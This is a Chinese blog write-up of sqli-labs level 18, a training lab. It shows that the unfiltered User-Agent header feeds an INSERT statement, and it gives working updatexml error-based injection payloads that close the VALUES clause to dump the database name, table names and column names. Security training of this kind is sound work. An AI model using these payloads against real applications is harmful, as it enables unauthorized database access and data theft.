sqli-labs第十八关详解

金帛

已于 2022-05-05 10:59:20 修改

阅读量6.4k

点赞数 18

CC 4.0 BY-SA版权

文章标签： SQL注入

于 2022-05-03 10:23:15 首次发布

本文链接：https://blog.csdn.net/l2872253606/article/details/124434792

本文详细解析了一个SQL注入漏洞的利用过程，重点在于报错注入技术。首先介绍了HTTP_USER_AGENT和REMOTE_ADDR的概念，然后分析了登录验证的SQL语句，指出在用户登录后执行的未过滤的SQL插入语句是攻击点。通过构造特殊的输入，如1',1,updatexml(1,concat(0x5e,database()),1))#，可以触发报错并回显数据库名。接着，利用updatexml和group_concat函数，逐步获取表名、字段名和数据，即使报错信息有限，也能通过多次请求获取完整信息。文章深入探讨了如何利用闭合VALUES和报错反馈来实施SQL注入攻击。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

先看一下源码

这里定义的函数跟十七关的一样，具体解析可看sqli-labs第十七关详解_金帛的博客-CSDN博客

HTTP_USER_AGENT 是请求用户代理的信息，也就是http头User-Agent:的内容

REMOTE_ADDE 是指浏览当前页面的用户的IP地址，也就是搭建靶场的那个IP地址

接着我们继续看

这里当用户名跟密码都有输入的时候才能触发的，可以看到用户名和密码都被过筛了，也就是不能在这里进行SQL注入了，接着再往下看看

这里可以看到，当登入进去的时候，还会再执行一条SQL语句并且包涵的$uagent没有被过滤掉，，还看到后面的语句中还会进行报错回馈，因此我们可以利用这两个地方为注入点，但是得通过抓包请求进行报错注入

可利用的SQL语句是

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

这时我们就不能像常规的报错盲注一样直接上，我们得考虑一下闭合VALUES，假如我们利用的点是$uagent，那构建格式就应该是1',1,1)#，在SQL语句中相当于

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',1,1)#, '$IP', $uname)

这样就闭合了VALUES，所以我们在uagent上正确的payload应该是

1',1,updatexml(1,concat(0x5e,database()),1))#

可以看到回显了数据库名称，接着我们爆表，构建payload

1',1,updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1))#

接着爆字段，构建payload

1',1,updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')),1))#